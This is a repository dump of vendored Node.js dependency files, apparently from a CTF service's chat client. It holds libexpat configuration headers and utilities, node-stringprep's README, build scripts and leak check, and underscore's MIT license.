7 | Version: @PACKAGE_VERSION@
8 | Description: expat XML parser
9 | URL: http://www.libexpat.org
10 | Libs: -L${libdir} -lexpat
11 | Cflags: -I${includedir}
12 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/Makefile.MPW:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/Makefile.MPW
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/amigaconfig.h:
--------------------------------------------------------------------------------
1 | #ifndef AMIGACONFIG_H
2 | #define AMIGACONFIG_H
3 |
4 | /* 1234 = LIL_ENDIAN, 4321 = BIGENDIAN */
5 | #define BYTEORDER 4321
6 |
7 | /* Define to 1 if you have the `bcopy' function. */
8 | #define HAVE_BCOPY 1
9 |
10 | /* Define to 1 if you have the header file. */
11 | #undef HAVE_CHECK_H
12 |
13 | /* Define to 1 if you have the `memmove' function. */
14 | #define HAVE_MEMMOVE 1
15 |
16 | /* Define to 1 if you have the header file. */
17 | #define HAVE_UNISTD_H 1
18 |
19 | /* whether byteorder is bigendian */
20 | #define WORDS_BIGENDIAN
21 |
22 | /* Define to specify how much context to retain around the current parse
23 | point. */
24 | #define XML_CONTEXT_BYTES 1024
25 |
26 | /* Define to make parameter entity parsing functionality available. */
27 | #define XML_DTD
28 |
29 | /* Define to make XML Namespaces functionality available. */
30 | #define XML_NS
31 |
32 | #endif /* AMIGACONFIG_H */
33 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/macconfig.h:
--------------------------------------------------------------------------------
1 | /*================================================================
2 | ** Copyright 2000, Clark Cooper
3 | ** All rights reserved.
4 | **
5 | ** This is free software. You are permitted to copy, distribute, or modify
6 | ** it under the terms of the MIT/X license (contained in the COPYING file
7 | ** with this distribution.)
8 | **
9 | */
10 |
11 | #ifndef MACCONFIG_H
12 | #define MACCONFIG_H
13 |
14 |
15 | /* 1234 = LIL_ENDIAN, 4321 = BIGENDIAN */
16 | #define BYTEORDER 4321
17 |
18 | /* Define to 1 if you have the `bcopy' function. */
19 | #undef HAVE_BCOPY
20 |
21 | /* Define to 1 if you have the `memmove' function. */
22 | #define HAVE_MEMMOVE
23 |
24 | /* Define to 1 if you have a working `mmap' system call. */
25 | #undef HAVE_MMAP
26 |
27 | /* Define to 1 if you have the header file. */
28 | #undef HAVE_UNISTD_H
29 |
30 | /* whether byteorder is bigendian */
31 | #define WORDS_BIGENDIAN
32 |
33 | /* Define to specify how much context to retain around the current parse
34 | point. */
35 | #undef XML_CONTEXT_BYTES
36 |
37 | /* Define to make parameter entity parsing functionality available. */
38 | #define XML_DTD
39 |
40 | /* Define to make XML Namespaces functionality available. */
41 | #define XML_NS
42 |
43 | /* Define to empty if `const' does not conform to ANSI C. */
44 | #undef const
45 |
46 | /* Define to `long' if does not define. */
47 | #define off_t long
48 |
49 | /* Define to `unsigned' if does not define. */
50 | #undef size_t
51 |
52 |
53 | #endif /* ifndef MACCONFIG_H */
54 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/winconfig.h:
--------------------------------------------------------------------------------
1 | /*================================================================
2 | ** Copyright 2000, Clark Cooper
3 | ** All rights reserved.
4 | **
5 | ** This is free software. You are permitted to copy, distribute, or modify
6 | ** it under the terms of the MIT/X license (contained in the COPYING file
7 | ** with this distribution.)
8 | */
9 |
10 | #ifndef WINCONFIG_H
11 | #define WINCONFIG_H
12 |
13 | #define WIN32_LEAN_AND_MEAN
14 | #include
15 | #undef WIN32_LEAN_AND_MEAN
16 |
17 | #include
18 | #include
19 |
20 | #define XML_NS 1
21 | #define XML_DTD 1
22 | #define XML_CONTEXT_BYTES 1024
23 |
24 | /* we will assume all Windows platforms are little endian */
25 | #define BYTEORDER 1234
26 |
27 | /* Windows has memmove() available. */
28 | #define HAVE_MEMMOVE
29 |
30 | #endif /* ndef WINCONFIG_H */
31 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/lib/xmltok_impl.h:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
3 | See the file COPYING for copying permission.
4 | */
5 |
6 | enum {
7 | BT_NONXML,
8 | BT_MALFORM,
9 | BT_LT,
10 | BT_AMP,
11 | BT_RSQB,
12 | BT_LEAD2,
13 | BT_LEAD3,
14 | BT_LEAD4,
15 | BT_TRAIL,
16 | BT_CR,
17 | BT_LF,
18 | BT_GT,
19 | BT_QUOT,
20 | BT_APOS,
21 | BT_EQUALS,
22 | BT_QUEST,
23 | BT_EXCL,
24 | BT_SOL,
25 | BT_SEMI,
26 | BT_NUM,
27 | BT_LSQB,
28 | BT_S,
29 | BT_NMSTRT,
30 | BT_COLON,
31 | BT_HEX,
32 | BT_DIGIT,
33 | BT_NAME,
34 | BT_MINUS,
35 | BT_OTHER, /* known not to be a name or name start character */
36 | BT_NONASCII, /* might be a name or name start character */
37 | BT_PERCNT,
38 | BT_LPAR,
39 | BT_RPAR,
40 | BT_AST,
41 | BT_PLUS,
42 | BT_COMMA,
43 | BT_VERBAR
44 | };
45 |
46 | #include
47 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/m4/ltversion.m4:
--------------------------------------------------------------------------------
1 | # ltversion.m4 -- version numbers -*- Autoconf -*-
2 | #
3 | # Copyright (C) 2004 Free Software Foundation, Inc.
4 | # Written by Scott James Remnant, 2004
5 | #
6 | # This file is free software; the Free Software Foundation gives
7 | # unlimited permission to copy and/or distribute it, with or without
8 | # modifications, as long as this notice is preserved.
9 |
10 | # @configure_input@
11 |
12 | # serial 3293 ltversion.m4
13 | # This file is part of GNU Libtool
14 |
15 | m4_define([LT_PACKAGE_VERSION], [2.4])
16 | m4_define([LT_PACKAGE_REVISION], [1.3293])
17 |
18 | AC_DEFUN([LTVERSION_VERSION],
19 | [macro_version='2.4'
20 | macro_revision='1.3293'
21 | _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
22 | _LT_DECL(, macro_revision, 0)
23 | ])
24 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/tests/README.txt:
--------------------------------------------------------------------------------
1 | This directory contains the (fledgling) test suite for Expat. The
2 | tests provide general unit testing and regression coverage. The tests
3 | are not expected to be useful examples of Expat usage; see the
4 | examples/ directory for that.
5 |
6 | The Expat tests use a partial internal implementation of the "Check"
7 | unit testing framework for C. More information on Check can be found at:
8 |
9 | http://check.sourceforge.net/
10 |
11 | Expat must be built and, depending on platform, must be installed, before "make check" can be executed.
12 |
13 | This test suite can all change in a later version.
14 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/tests/benchmark/README.txt:
--------------------------------------------------------------------------------
1 | Use this benchmark command line utility as follows:
2 |
3 | benchmark [-n] <# iterations>
4 |
5 | The command line arguments are:
6 |
7 | -n ... optional; if supplied, namespace processing is turned on
8 | ... name/path of test xml file
9 | ... size of processing buffer;
10 | the file is parsed in chunks of this size
11 | <# iterations> ... how often will the file be parsed
12 |
13 | Returns:
14 |
15 | The time (in seconds) it takes to parse the test file,
16 | averaged over the number of iterations.
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/tests/benchmark/benchmark.dsw:
--------------------------------------------------------------------------------
1 | Microsoft Developer Studio Workspace File, Format Version 6.00
2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
3 |
4 | ###############################################################################
5 |
6 | Project: "benchmark"=.\benchmark.dsp - Package Owner=<4>
7 |
8 | Package=<5>
9 | {{{
10 | }}}
11 |
12 | Package=<4>
13 | {{{
14 | Begin Project Dependency
15 | Project_Dep_Name expat
16 | End Project Dependency
17 | }}}
18 |
19 | ###############################################################################
20 |
21 | Project: "expat"=..\..\lib\expat.dsp - Package Owner=<4>
22 |
23 | Package=<5>
24 | {{{
25 | }}}
26 |
27 | Package=<4>
28 | {{{
29 | }}}
30 |
31 | ###############################################################################
32 |
33 | Global:
34 |
35 | Package=<5>
36 | {{{
37 | }}}
38 |
39 | Package=<3>
40 | {{{
41 | }}}
42 |
43 | ###############################################################################
44 |
45 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/tests/chardata.h:
--------------------------------------------------------------------------------
1 | /* chardata.h
2 |
3 | Interface to some helper routines used to accumulate and check text
4 | and attribute content.
5 | */
6 |
7 | #ifdef __cplusplus
8 | extern "C" {
9 | #endif
10 |
11 | #ifndef XML_CHARDATA_H
12 | #define XML_CHARDATA_H 1
13 |
14 | #ifndef XML_VERSION
15 | #include "expat.h" /* need XML_Char */
16 | #endif
17 |
18 |
19 | typedef struct {
20 | int count; /* # of chars, < 0 if not set */
21 | XML_Char data[1024];
22 | } CharData;
23 |
24 |
25 | void CharData_Init(CharData *storage);
26 |
27 | void CharData_AppendString(CharData *storage, const char *s);
28 |
29 | void CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);
30 |
31 | int CharData_CheckString(CharData *storage, const char *s);
32 |
33 | int CharData_CheckXMLChars(CharData *storage, const XML_Char *s);
34 |
35 |
36 | #endif /* XML_CHARDATA_H */
37 |
38 | #ifdef __cplusplus
39 | }
40 | #endif
41 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/tests/runtestspp.cpp:
--------------------------------------------------------------------------------
1 | // C++ compilation harness for the test suite.
2 | //
3 | // This is used to ensure the Expat headers can be included from C++
4 | // and have everything work as expected.
5 | //
6 | #include "runtests.c"
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/version.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main () {
5 | XML_Expat_Version v;
6 | v = XML_ExpatVersionInfo();
7 | printf("Using libexpat v%d.%d.%d\n", v.major, v.minor, v.micro);
8 | return 0;
9 | }
10 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/vms/README.vms:
--------------------------------------------------------------------------------
1 | 4-jun-2002 Craig A. Berry
2 | Added rudimentary build procedures for
3 | OpenVMS based on work by Martin Vorlaender.
4 |
5 |
6 | You'll need MMS or its freeware equivalent MMK. Just go to the
7 | top-level directory and type
8 |
9 | $ MMS/DESCRIPTION=[.vms]
10 |
11 | or
12 |
13 | $ MMK/DESCRIPTION=[.vms]
14 |
15 | You'll end up with the object library expat.olb. For now, installation
16 | consists merely of copying the object library, include files, and
17 | documentation to a suitable location.
18 |
19 | To-do list:
20 |
21 | -- create a shareable image
22 | -- build and run the tests and build the xmlwf utility
23 | -- create an install target
24 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/vms/expat_config.h:
--------------------------------------------------------------------------------
1 | /* Copyright 2000, Clark Cooper
2 | All rights reserved.
3 |
4 | This is free software. You are permitted to copy, distribute, or modify
5 | it under the terms of the MIT/X license (contained in the COPYING file
6 | with this distribution.)
7 | */
8 |
9 | /* Define to empty if the keyword does not work. */
10 | #undef const
11 |
12 | /* Define if you have a working `mmap' system call. */
13 | #undef HAVE_MMAP
14 |
15 | /* Define to `long' if doesn't define. */
16 | #undef off_t
17 |
18 | /* Define to `unsigned' if doesn't define. */
19 | #undef size_t
20 |
21 | /* Define if your processor stores words with the most significant
22 | byte first (like Motorola and SPARC, unlike Intel and VAX). */
23 | #undef WORDS_BIGENDIAN
24 |
25 | /* Define if you have the bcopy function. */
26 | #undef HAVE_BCOPY
27 |
28 | /* Define if you have the memmove function. */
29 | #define HAVE_MEMMOVE 1
30 |
31 | /* Define if you have the header file. */
32 | #define HAVE_UNISTD_H 1
33 |
34 | #define XML_NS
35 | #define XML_DTD
36 |
37 | #ifdef WORDS_BIGENDIAN
38 | #define XML_BYTE_ORDER 21
39 | #else
40 | #define XML_BYTE_ORDER 12
41 | #endif
42 |
43 | #define XML_CONTEXT_BYTES 1024
44 |
45 | #ifndef HAVE_MEMMOVE
46 | #ifdef HAVE_BCOPY
47 | #define memmove(d,s,l) bcopy((s),(d),(l))
48 | #else
49 | #define memmove(d,s,l) ;punting on memmove;
50 | #endif
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/win32/MANIFEST.txt:
--------------------------------------------------------------------------------
1 | Overview of the Expat distribution
2 |
3 | The Expat distribution creates several subdirectories on your system.
4 | Some of these directories contain components of interest to all Expat
5 | users, and some contain material of interest to developers who wish to
6 | use Expat in their applications. In the list below, is the
7 | directory you specified to the installer.
8 |
9 | Directory Contents
10 | ---------------------------------------------------------------------
11 | \ Some general information files.
12 |
13 | \Doc\ API documentation for developers.
14 |
15 | \Bin\ Pre-compiled dynamic libraries for developers.
16 | Pre-compiled static libraries for developers (*MT.lib).
17 | The XML well-formedness checker xmlwf.
18 |
19 | \Source\ Source code, which may interest some developers,
20 | including a workspace for Microsft Visual C++.
21 | The source code includes the parser, the well-
22 | formedness checker, and a couple of small sample
23 | applications.
24 |
25 | \Source\bcb5\ Project files for Borland C++ Builder 5 and BCC 5.5.
26 |
27 |
28 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/win32/expat.iss:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/win32/expat.iss
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/codepage.h:
--------------------------------------------------------------------------------
1 | /* Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
2 | See the file COPYING for copying permission.
3 | */
4 |
5 | int codepageMap(int cp, int *map);
6 | int codepageConvert(int cp, const char *p);
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/filemap.h:
--------------------------------------------------------------------------------
1 | /* Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
2 | See the file COPYING for copying permission.
3 | */
4 |
5 | #include
6 |
7 | #ifdef XML_UNICODE
8 | int filemap(const wchar_t *name,
9 | void (*processor)(const void *, size_t,
10 | const wchar_t *, void *arg),
11 | void *arg);
12 | #else
13 | int filemap(const char *name,
14 | void (*processor)(const void *, size_t,
15 | const char *, void *arg),
16 | void *arg);
17 | #endif
18 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/unixfilemap.c:
--------------------------------------------------------------------------------
1 | /* Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
2 | See the file COPYING for copying permission.
3 | */
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #ifndef MAP_FILE
15 | #define MAP_FILE 0
16 | #endif
17 |
18 | #include "filemap.h"
19 |
20 | int
21 | filemap(const char *name,
22 | void (*processor)(const void *, size_t, const char *, void *arg),
23 | void *arg)
24 | {
25 | int fd;
26 | size_t nbytes;
27 | struct stat sb;
28 | void *p;
29 |
30 | fd = open(name, O_RDONLY);
31 | if (fd < 0) {
32 | perror(name);
33 | return 0;
34 | }
35 | if (fstat(fd, &sb) < 0) {
36 | perror(name);
37 | close(fd);
38 | return 0;
39 | }
40 | if (!S_ISREG(sb.st_mode)) {
41 | close(fd);
42 | fprintf(stderr, "%s: not a regular file\n", name);
43 | return 0;
44 | }
45 |
46 | nbytes = sb.st_size;
47 | /* mmap fails for zero length files */
48 | if (nbytes == 0) {
49 | static const char c = '\0';
50 | processor(&c, 0, name, arg);
51 | close(fd);
52 | return 1;
53 | }
54 | p = (void *)mmap((caddr_t)0, (size_t)nbytes, PROT_READ,
55 | MAP_FILE|MAP_PRIVATE, fd, (off_t)0);
56 | if (p == (void *)-1) {
57 | perror(name);
58 | close(fd);
59 | return 0;
60 | }
61 | processor(p, nbytes, name, arg);
62 | munmap((caddr_t)p, nbytes);
63 | close(fd);
64 | return 1;
65 | }
66 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/xmlfile.h:
--------------------------------------------------------------------------------
1 | /* Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
2 | See the file COPYING for copying permission.
3 | */
4 |
5 | #define XML_MAP_FILE 01
6 | #define XML_EXTERNAL_ENTITIES 02
7 |
8 | #ifdef XML_LARGE_SIZE
9 | #if defined(XML_USE_MSC_EXTENSIONS) && _MSC_VER < 1400
10 | #define XML_FMT_INT_MOD "I64"
11 | #else
12 | #define XML_FMT_INT_MOD "ll"
13 | #endif
14 | #else
15 | #define XML_FMT_INT_MOD "l"
16 | #endif
17 |
18 | extern int XML_ProcessFile(XML_Parser parser,
19 | const XML_Char *filename,
20 | unsigned flags);
21 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/xmlmime.h:
--------------------------------------------------------------------------------
1 | #ifdef __cplusplus
2 | extern "C" {
3 | #endif
4 |
5 | /* Registered charset names are at most 40 characters long. */
6 |
7 | #define CHARSET_MAX 41
8 |
9 | /* Figure out the charset to use from the ContentType.
10 | buf contains the body of the header field (the part after "Content-Type:").
11 | charset gets the charset to use. It must be at least CHARSET_MAX chars
12 | long. charset will be empty if the default charset should be used.
13 | */
14 |
15 | void getXMLCharset(const char *buf, char *charset);
16 |
17 | #ifdef __cplusplus
18 | }
19 | #endif
20 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/xmltchar.h:
--------------------------------------------------------------------------------
1 | #ifdef XML_UNICODE
2 | #ifndef XML_UNICODE_WCHAR_T
3 | #error xmlwf requires a 16-bit Unicode-compatible wchar_t
4 | #endif
5 | #define T(x) L ## x
6 | #define ftprintf fwprintf
7 | #define tfopen _wfopen
8 | #define fputts fputws
9 | #define puttc putwc
10 | #define tcscmp wcscmp
11 | #define tcscpy wcscpy
12 | #define tcscat wcscat
13 | #define tcschr wcschr
14 | #define tcsrchr wcsrchr
15 | #define tcslen wcslen
16 | #define tperror _wperror
17 | #define topen _wopen
18 | #define tmain wmain
19 | #define tremove _wremove
20 | #else /* not XML_UNICODE */
21 | #define T(x) x
22 | #define ftprintf fprintf
23 | #define tfopen fopen
24 | #define fputts fputs
25 | #define puttc putc
26 | #define tcscmp strcmp
27 | #define tcscpy strcpy
28 | #define tcscat strcat
29 | #define tcschr strchr
30 | #define tcsrchr strrchr
31 | #define tcslen strlen
32 | #define tperror perror
33 | #define topen open
34 | #define tmain main
35 | #define tremove remove
36 | #endif /* not XML_UNICODE */
37 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/xmlwf/xmlurl.h:
--------------------------------------------------------------------------------
1 | #ifdef __cplusplus
2 | extern "C" {
3 | #endif
4 |
5 | int XML_URLInit();
6 | void XML_URLUninit();
7 | int XML_ProcessURL(XML_Parser parser,
8 | const XML_Char *url,
9 | unsigned flags);
10 |
11 | #ifdef __cplusplus
12 | }
13 | #endif
14 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/.npmignore:
--------------------------------------------------------------------------------
1 | .lock-wscript
2 | .DS_Store
3 | node_modules
4 | build
5 | *~
6 | *.log
7 | .idea
8 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2010 Stephan Maka
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in
11 | all copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 | THE SOFTWARE.
20 |
21 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/README.markdown:
--------------------------------------------------------------------------------
1 | # node-stringprep #
2 |
3 | [Flattr this!](https://flattr.com/thing/44598/node-stringprep)
4 |
5 | ## Purpose ##
6 |
7 | Exposes predefined Unicode normalization functions that are required by many protocols. This is just a binding to [ICU](http://icu-project.org/), which is [said to be fast.](http://ayena.de/node/74)
8 |
9 | ## Installation ##
10 |
11 | npm i node-stringprep
12 |
13 | ### Debian ###
14 |
15 | apt-get install libicu-dev
16 |
17 | ### Gentoo ###
18 |
19 | emerge icu
20 |
21 | ### OSX ###
22 | #### MacPorts ####
23 | port install icu +devel
24 |
25 | #### Homebrew ####
26 | brew install icu4c
27 | ln -s /usr/local/Cellar/icu4c//bin/icu-config /usr/local/bin/icu-config
28 | ln -s /usr/local/Cellar/icu4c//include/unicode /usr/local/include
29 |
30 | If experiencing issues with 'homebrew' installing version 50.1 of icu4c, try the following:
31 |
32 | brew search icu4c
33 | brew tap homebrew/versions
34 | brew versions icu4c
35 | cd $(brew --prefix) && git pull --rebase
36 | git checkout c25fd2f $(brew --prefix)/Library/Formula/icu4c.rb
37 | brew install icu4c
38 |
39 | ## Usage ##
40 |
41 | var StringPrep = require('node-stringprep').StringPrep;
42 | var prep = new StringPrep('nameprep');
43 | prep.prepare('Äffchen') // => 'äffchen'
44 |
45 | For a list of supported profiles, see [node-stringprep.cc](http://github.com/astro/node-stringprep/blob/master/node-stringprep.cc#L160)
46 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/binding.gyp:
--------------------------------------------------------------------------------
1 | {
2 | 'targets': [
3 | {
4 | 'target_name': 'node_stringprep',
5 | 'sources': [ 'node-stringprep.cc' ],
6 | 'cflags!': [ '-fno-exceptions', '`icu-config --cppflags`' ],
7 | 'cflags_cc!': [ '-fno-exceptions' ],
8 | 'libraries': [ '`icu-config --ldflags`' ],
9 | 'conditions': [
10 | ['OS=="mac"', {
11 | 'include_dirs': [
12 | '/opt/local/include'
13 | ],
14 | 'xcode_settings': {
15 | 'GCC_ENABLE_CPP_EXCEPTIONS': 'YES'
16 | }
17 | }]
18 | ]
19 | }
20 | ]
21 | }
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/.deps/Release/node_stringprep.node.d:
--------------------------------------------------------------------------------
1 | cmd_Release/node_stringprep.node := rm -rf "Release/node_stringprep.node" && cp -af "Release/obj.target/node_stringprep.node" "Release/node_stringprep.node"
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/.deps/Release/obj.target/node_stringprep.node.d:
--------------------------------------------------------------------------------
1 | cmd_Release/obj.target/node_stringprep.node := flock ./Release/linker.lock g++ -shared -pthread -rdynamic -m64 -Wl,-soname=node_stringprep.node -o Release/obj.target/node_stringprep.node -Wl,--start-group Release/obj.target/node_stringprep/node-stringprep.o -Wl,--end-group `icu-config --ldflags`
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/linker.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-stringprep/build/Release/linker.lock
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/node_stringprep.node:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-stringprep/build/Release/node_stringprep.node
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/obj.target/node_stringprep.node:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-stringprep/build/Release/obj.target/node_stringprep.node
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/Release/obj.target/node_stringprep/node-stringprep.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-stringprep/build/Release/obj.target/node_stringprep/node-stringprep.o
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/build/binding.Makefile:
--------------------------------------------------------------------------------
1 | # This file is generated by gyp; do not edit.
2 |
3 | export builddir_name ?= build/./.
4 | .PHONY: all
5 | all:
6 | $(MAKE) node_stringprep
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | which icu-config > /dev/null 2> /dev/null
4 | if [ $? -ne 0 ]
5 | then
6 | echo 'Cannot find `icu-config` in $PATH,'
7 | echo 'please install it from http://site.icu-project.org/'
8 | exit 1
9 | fi
10 |
11 | node-waf configure || exit 1
12 | node-waf build || exit 1
13 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/leakcheck.js:
--------------------------------------------------------------------------------
1 | var SP = require('./build/Release/node_stringprep.node');
2 | var useSetImmediate = (parseFloat(process.version.replace('v', '')) >= 0.10)
3 | function run() {
4 | var p = new SP.StringPrep('nameprep');
5 | var r = p.prepare('A\u0308ffin');
6 | if (r !== 'äffin')
7 | throw r;
8 |
9 | if (true == useSetImmediate)
10 | setImmediate(run)
11 | else
12 | process.nextTick(run)
13 | }
14 |
15 | try {
16 | run();
17 | } catch (e) {
18 | console.log(JSON.stringify(e));
19 | }
20 |
21 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-stringprep/wscript:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | def backtick(cmd):
4 | return os.popen(cmd).read().strip()
5 |
6 | srcdir = '.'
7 | blddir = 'build'
8 | VERSION = '0.0.2'
9 |
10 | def set_options(opt):
11 | opt.tool_options('compiler_cxx')
12 |
13 | def configure(conf):
14 | conf.check_tool('compiler_cxx')
15 | conf.check_tool('node_addon')
16 | if backtick('icu-config --version')[0] != '4':
17 | conf.fatal('Missing library icu 4.x.x')
18 | conf.env['CXXFLAGS_ICU'] = backtick('icu-config --cppflags').replace('-pedantic', '').split(' ')
19 | conf.env['LINKFLAGS_ICU'] = backtick('icu-config --ldflags').split(' ')
20 | conf.env.set_variant("default")
21 |
22 | def build(bld):
23 | obj = bld.new_task_gen('cxx', 'shlib', 'node_addon')
24 | obj.target = 'node-stringprep'
25 | obj.source = 'node-stringprep.cc'
26 | obj.uselib = 'ICU'
27 |
28 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/underscore/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative
2 | Reporters & Editors
3 |
4 | Permission is hereby granted, free of charge, to any person
5 | obtaining a copy of this software and associated documentation
6 | files (the "Software"), to deal in the Software without
7 | restriction, including without limitation the rights to use,
8 | copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the
10 | Software is furnished to do so, subject to the following
11 | conditions:
12 |
13 | The above copyright notice and this permission notice shall be
14 | included in all copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
18 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
19 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
20 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
21 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
22 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
23 | OTHER DEALINGS IN THE SOFTWARE.
24 |
--------------------------------------------------------------------------------
